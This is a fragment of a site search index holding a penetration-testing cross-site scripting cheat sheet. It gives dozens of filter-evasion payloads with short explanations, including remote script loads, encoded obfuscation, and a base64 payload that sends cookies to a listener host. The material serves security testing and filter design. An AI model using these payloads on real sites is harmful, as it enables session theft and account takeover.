      <br SIZE=\"&{alert('XSS')}\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#style-sheet", "title": "STYLE sheet", "text": "
      <link rel=\"stylesheet\" href=\"javascript:alert('XSS');\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#remote-style-sheet", "title": "Remote style sheet", "text": "

      Using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression. This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

      <link rel=\"stylesheet\" href=\"http://xss.rocks/xss.css\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#remote-style-sheet-part-2", "title": "Remote style sheet part 2", "text": "

      This works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

      <style>\n@import 'http://xss.rocks/xss.css';\n</style>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#remote-style-sheet-part-3", "title": "Remote style sheet part 3", "text": "

      This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://xss.rocks/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

      <meta http-equiv=\"Link\" content=\"<http://xss.rocks/xss.css>; REL=stylesheet\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#remote-style-sheet-part-4", "title": "Remote style sheet part 4", "text": "

      This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

      <style>\nBODY {\n-moz-binding: url('http://xss.rocks/xssmoz.xml#xss');\n}\n</style>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#style-tags-with-broken-up-javascript-for-xss", "title": "STYLE Tags with Broken-up JavaScript for XSS", "text": "

      This XSS at times sends IE into an infinite loop of alerts:

      <style>\n@im \\port'\\ja\\vasc\\ript:alert(\"XSS\")';\n</style>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#style-attribute-using-a-comment-to-break-up-expression", "title": "STYLE Attribute using a Comment to Break-up Expression", "text": "

      Created by Roman Ivanov

      <img style=\"xss:expr/*XSS*/ession(alert('XSS'))\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#img-style-with-expression", "title": "IMG STYLE with Expression", "text": "

      This is really a hybrid of the above XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like above this can send IE into a loop:

      exp/*<a\n  style='no\\xss:noxss(\"*//*\");\nxss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'\n></a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#style-tag-older-versions-of-netscape-only", "title": "STYLE Tag (Older versions of Netscape only)", "text": "
      <style type=\"text/javascript\">\nalert('XSS');\n</style>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#style-tag-using-background-image", "title": "STYLE Tag using Background-image", "text": "
      <style>\n.XSS {\nbackground-image: url(\"javascript:alert('XSS')\");\n}</style\n><a class=\"XSS\"></a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#style-tag-using-background", "title": "STYLE Tag using Background", "text": "
      <style type=\"text/css\">\nBODY {\nbackground: url(\"javascript:alert('XSS')\");\n}</style\n>` `<style type=\"text/css\">\nBODY {\nbackground: url(\"<javascript:alert>('XSS')\");\n}\n</style>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#anonymous-html-with-style-attribute", "title": "Anonymous HTML with STYLE Attribute", "text": "

      IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter:

      <XSS STYLE=\"xss:expression(alert('XSS'))\"></XSS>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#local-htc-file", "title": "Local htc File", "text": "

      This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

      <XSS STYLE=\"behavior: url(xss.htc);\"></XSS>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#us-ascii-encoding", "title": "US-ASCII Encoding", "text": "

      US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.

      `\u00bcscript\u00bealert(\u00a2XSS\u00a2)\u00bc/script\u00be`\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#meta", "title": "META", "text": "

      The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs:

      <meta http-equiv=\"refresh\" content=\"0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#iframe", "title": "IFRAME", "text": "

      If iframes are allowed there are a lot of other XSS problems as well:

      <iframe src=\"javascript:alert('XSS');\"></iframe>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#iframe-event-based", "title": "IFRAME Event Based", "text": "

      IFrames and most other elements can use event based mayhem like the following... (Submitted by: David Cross)

      <iframe src=\"#\" onmouseover=\"alert(document.cookie)\"></iframe>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#frame", "title": "FRAME", "text": "

      Frames have the same sorts of XSS problems as iframes

      <FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#table", "title": "TABLE", "text": "
      <table BACKGROUND=\"javascript:alert('XSS')\"></table>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#td", "title": "TD", "text": "

      Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:

      <table>\n  <td BACKGROUND=\"javascript:alert('XSS')\"></td>\n</table>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#div", "title": "DIV", "text": "", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#div-background-image", "title": "DIV Background-image", "text": "
      <div style=\"background-image: url(javascript:alert('XSS'))\"></div>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#div-background-image-with-unicoded-xss-exploit", "title": "DIV Background-image with Unicoded XSS Exploit", "text": "

      This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud Lifchitz as a vulnerability in Hotmail:

      <div\n  style=\"background-image:\\0075\\0072\\006C\\0028'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029'\\0029\"\n></div>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#div-background-image-plus-extra-characters", "title": "DIV Background-image Plus Extra Characters", "text": "

      Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):

      <div style=\"background-image: url(javascript:alert('XSS'))\"></div>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#div-expression", "title": "DIV Expression", "text": "

      A variant of this was effective against a real world cross site scripting filter using a newline between the colon and \"expression\":

      <div style=\"width: expression(alert('XSS'));\"></div>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#downlevel-hidden-block", "title": "Downlevel-Hidden Block", "text": "

      Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job:

      <!--[if gte IE 4]>\n  <script>\n    alert('XSS');\n  </script>\n<![endif]-->\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#base-tag", "title": "BASE Tag", "text": "

      Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like images/image.jpg rather than full paths. If the path includes a leading forward slash like /images/image.jpg you can remove one slash from this vector (as long as there are two to begin the comment this will work):

      <base href=\"javascript:alert('XSS');//\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#object-tag", "title": "OBJECT Tag", "text": "

      If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag). The linked file is actually an HTML file that can contain your XSS:

      <object type=\"text/x-scriptlet\" data=\"http://xss.rocks/scriptlet.html\"></object>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#embed-svg-which-contains-xss-vector", "title": "EMBED SVG Which Contains XSS Vector", "text": "

      This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.

      <EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#using-actionscript-inside-flash-for-obfuscation", "title": "Using ActionScript Inside Flash for Obfuscation", "text": "
      a = 'get';\nb = 'URL(\"';\nc = 'javascript:';\nd = \"alert('XSS');\\\")\";\neval(a + b + c + d);\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#xml-data-island-with-cdata-obfuscation", "title": "XML Data Island with CDATA Obfuscation", "text": "

      This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:

      <XML ID=\"xss\"><I><B><IMG SRC=\"javas<!-- -->cript:alert('XSS')\"></B></I></XML>\n<SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"></SPAN>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#locally-hosted-xml-with-embedded-javascript-that-is-generated-using-an-xml-data-island", "title": "Locally hosted XML with embedded JavaScript that is generated using an XML data island", "text": "

      This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:

      <XML SRC=\"xsstest.xml\" ID=I></XML>\n<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#htmltime-in-xml", "title": "HTML+TIME in XML", "text": "

      This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:

      <html>\n  <body>\n    <?xml:namespace prefix=\"t\" ns=\"urn:schemas-microsoft-com:time\">\n    <?import namespace=\"t\" implementation=\"#default#time2\">\n    <t:set attributeName=\"innerHTML\" to=\"XSS\n    <script defer>\n      alert('XSS');\n    </script>\n    \">\n  </body>\n</html>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#assuming-you-can-only-fit-in-a-few-characters-and-it-filters-against-js", "title": "Assuming you can only fit in a few characters and it filters against .js", "text": "

      You can rename your JavaScript file to an image as an XSS vector:

      <script src=\"http://xss.rocks/xss.jpg\"></script>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#ssi-server-side-includes", "title": "SSI (Server Side Includes)", "text": "

      This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:

      <!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://xss.rocks/xss.js></SCRIPT>'\"-->\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#php", "title": "PHP", "text": "

      Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:

      <? echo('<SCR)';\necho('IPT>alert(\"XSS\")</SCRIPT>'); ?>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#img-embedded-commands", "title": "IMG Embedded Commands", "text": "

      This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:

      <img src=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#img-embedded-commands-part-ii", "title": "IMG Embedded Commands part II", "text": "

      This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC=\"httx://badguy.com/a.jpg\"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):

      Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#cookie-manipulation", "title": "Cookie Manipulation", "text": "

      Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):

      <meta http-equiv=\"Set-Cookie\" content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#utf-7-encoding", "title": "UTF-7 Encoding", "text": "

      If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.:

      <head>\n  <meta http-equiv=\"CONTENT-TYPE\" content=\"text/html; charset=UTF-7\" /></head\n>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-`\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#xss-using-html-quote-encapsulation", "title": "XSS Using HTML Quote Encapsulation", "text": "

      This was tested in IE, your mileage may vary. For performing XSS on sites that allow <SCRIPT> but don't allow <SCRIPT SRC... by way of a regex filter /\\<script\\[^\\>\\]+src/i:

      <script a=\">\" src=\"httx://xss.rocks/xss.js\"></script>\n

      For performing XSS on sites that allow <SCRIPT> but don't allow \\<script src... by way of a regex filter /\\<script((\\\\s+\\\\w+(\\\\s\\*=\\\\s\\*(?:\"(.)\\*?\"|'(.)\\*?'|\\[^'\"\\>\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i (this is an important one, because I've seen this regex in the wild):

      <script =\">\" src=\"httx://xss.rocks/xss.js\"></script>\n

      Another XSS to evade the same filter, /\\<script((\\\\s+\\\\w+(\\\\s\\*=\\\\s\\*(?:\"(.)\\*?\"|'(.)\\*?'|\\[^'\"\\>\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i:

      <SCRIPT a=\">\" '' SRC=\"httx://xss.rocks/xss.js\"></SCRIPT>\n

      Yet another XSS to evade the same filter, /\\<script((\\\\s+\\\\w+(\\\\s\\*=\\\\s\\*(?:\"(.)\\*?\"|'(.)\\*?'|\\[^'\"\\>\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow <SCRIPT> tags but not remote script is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags):

      <SCRIPT \"a='>'\" SRC=\"httx://xss.rocks/xss.js\"></SCRIPT>\n

      And one last XSS attack to evade, /\\<script((\\\\s+\\\\w+(\\\\s\\*=\\\\s\\*(?:\"(.)\\*?\"|'(.)\\*?'|\\[^'\"\\>\\\\s\\]+))?)+\\\\s\\*|\\\\s\\*)src/i using grave accents (again, doesn't work in Firefox):

      <script a=\"`\">\n` SRC=\"httx://xss.rocks/xss.js\">\n</script>\n

      Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:

      <script a=\">'>\" src=\"httx://xss.rocks/xss.js\"></script>\n

      This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:

      <SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"httx://xss.rocks/xss.js\"></SCRIPT>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#url-string-evasion", "title": "URL String Evasion", "text": "

      Assuming http://www.google.com/ is programmatically disallowed:

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#ip-versus-hostname", "title": "IP Versus Hostname", "text": "
      <a href=\"http://66.102.7.147/\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#url-encoding", "title": "URL Encoding", "text": "
      <a href=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#dword-encoding", "title": "DWORD Encoding", "text": "

      Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details:

      <a href=\"http://1113982867/\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#hex-encoding", "title": "Hex Encoding", "text": "

      The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):

      <a href=\"http://0x42.0x0000066.0x7.0x93/\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#octal-encoding", "title": "Octal Encoding", "text": "

      Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:

      <a href=\"http://0102.0146.0007.00000223/\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#base64-encoding", "title": "Base64 Encoding", "text": "
      <img onload=\"eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))\" />\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#mixed-encoding", "title": "Mixed Encoding", "text": "

      Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:

      <a\n  href=\"h \ntt  p://6 6.000146.0x7.147/\"\n  >XSS</a\n>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#protocol-resolution-bypass", "title": "Protocol Resolution Bypass", "text": "

      // translates to http:// which saves a few more bytes. This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like (ht|f)tp(s)?:// (thanks to Ozh for part of this one). You can also change the // to \\\\\\\\. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.

      <a href=\"//www.google.com/\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#google-feeling-lucky-part-1", "title": "Google \"feeling lucky\" part 1", "text": "

      Firefox uses Google's \"feeling lucky\" function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's keyword: protocol. You can concatenate several keywords by using something like the following keyword:XSS+RSnake for instance. This no longer works within Firefox as of 2.0.

      <a href=\"//google\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#google-feeling-lucky-part-2", "title": "Google \"feeling lucky\" part 2", "text": "

      This uses a very tiny trick that appears to work Firefox only, because of it's implementation of the \"feeling lucky\" function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:

      <a href=\"http://ha.ckers.org@google\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#google-feeling-lucky-part-3", "title": "Google \"feeling lucky\" part 3", "text": "

      This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the \"feeling lucky\" function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case \"google\"):

      <a href=\"http://google:ha.ckers.org\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#removing-cnames", "title": "Removing CNAMEs", "text": "

      When combined with the above URL, removing www. will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):

      <a href=\"http://google.com/\">XSS</a>\n

      Extra dot for absolute DNS:

      <a href=\"http://www.google.com./\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#javascript-link-location", "title": "JavaScript Link Location", "text": "
      <a href=\"javascript:document.location='http://www.google.com/'\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#content-replace-as-attack-vector", "title": "Content Replace as Attack Vector", "text": "

      Assuming http://www.google.com/ is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: java&\\#x09;script: was converted into java script:, which renders in IE, Netscape 8.1+ in secure site mode and Opera):

      <a href=\"http://www.google.com/ogle.com/\">XSS</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#assisting-xss-with-http-parameter-pollution", "title": "Assisting XSS with HTTP Parameter Pollution", "text": "

      Assume a content sharing flow on a web site is implemented as below. There is a \"Content\" page which includes some content provided by users and this page also includes a link to \"Share\" page which enables a user choose their favorite social sharing platform to share it on. Developers HTML encoded the \"title\" parameter in the \"Content\" page to prevent against XSS but for some reasons they didn't URL encoded this parameter to prevent from HTTP Parameter Pollution. Finally they decide that since content_type's value is a constant and will always be integer, they didn't encode or validate the content_type in the \"Share\" page.

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#content-page-source-code", "title": "Content Page Source Code", "text": "
      `a href=\"/Share?content_type=1&title=<%=Encode.forHtmlAttribute(untrusted content title)%>\">Share</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#share-page-source-code", "title": "Share Page Source Code", "text": "
      <script>\nvar contentType = <%=Request.getParameter(\"content_type\")%>;\nvar title = \"<%=Encode.forJavaScript(request.getParameter(\"title\"))%>\";\n...\n//some user agreement and sending to server logic might be here\n...\n</script>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#content-page-output", "title": "Content Page Output", "text": "

      In this case if attacker set untrusted content title as \u201cThis is a regular title&content_type=1;alert(1)\u201d the link in \"Content\" page would be this:

      <a href=\"/share?content_type=1&title=This is a regular title&amp;content_type=1;alert(1)\">Share</a>\n
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#share-page-output", "title": "Share Page Output", "text": "

      And in share page output could be this:

      <script>\nvar contentType = 1; alert(1);\nvar title = \"This is a regular title\";\n\u2026\n//some user agreement and sending to server logic might be here\n\u2026\n</script>\n

      As a result, in this example the main flaw is trusting the content_type in the \"Share\" page without proper encoding or validation. HTTP Parameter Pollution could increase impact of the XSS flaw by promoting it from a reflected XSS to a stored XSS.

      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#character-escape-sequences", "title": "Character Escape Sequences", "text": "

      All the possible combinations of the character \"\\<\" in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.

      • <
      • %3C
      • &lt
      • &lt;
      • &LT
      • &LT;
      • &#60;
      • &#060;
      • &#0060;
      • &#00060;
      • &#000060;
      • &#0000060;
      • &#60;
      • &#060;
      • &#0060;
      • &#00060;
      • &#000060;
      • &#0000060;
      • &#x3c;
      • &#x03c;
      • &#x003c;
      • &#x0003c;
      • &#x00003c;
      • &#x000003c;
      • &#x3c;
      • &#x03c;
      • &#x003c;
      • &#x0003c;
      • &#x00003c;
      • &#x000003c;
      • &#X3c;
      • &#X03c;
      • &#X003c;
      • &#X0003c;
      • &#X00003c;
      • &#X000003c;
      • &#X3c;
      • &#X03c;
      • &#X003c;
      • &#X0003c;
      • &#X00003c;
      • &#X000003c;
      • &#x3C;
      • &#x03C;
      • &#x003C;
      • &#x0003C;
      • &#x00003C;
      • &#x000003C;
      • &#x3C;
      • &#x03C;
      • &#x003C;
      • &#x0003C;
      • &#x00003C;
      • &#x000003C;
      • &#X3C;
      • &#X03C;
      • &#X003C;
      • &#X0003C;
      • &#X00003C;
      • &#X000003C;
      • &#X3C;
      • &#X03C;
      • &#X003C;
      • &#X0003C;
      • &#X00003C;
      • &#X000003C;
      • \\x3c
      • \\x3C
      • \\u003c
      • \\u003C
      ", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#methods-to-bypass-waf-cross-site-scripting", "title": "Methods to Bypass WAF \u2013 Cross-Site Scripting", "text": "", "tags": ["penetration-testing", "tools", "cheatsheet"]}, {"location": "penetration-testing/cheatsheets/xss-cheatsheet/#stored-xss", "title": "Stored XSS", "text": "

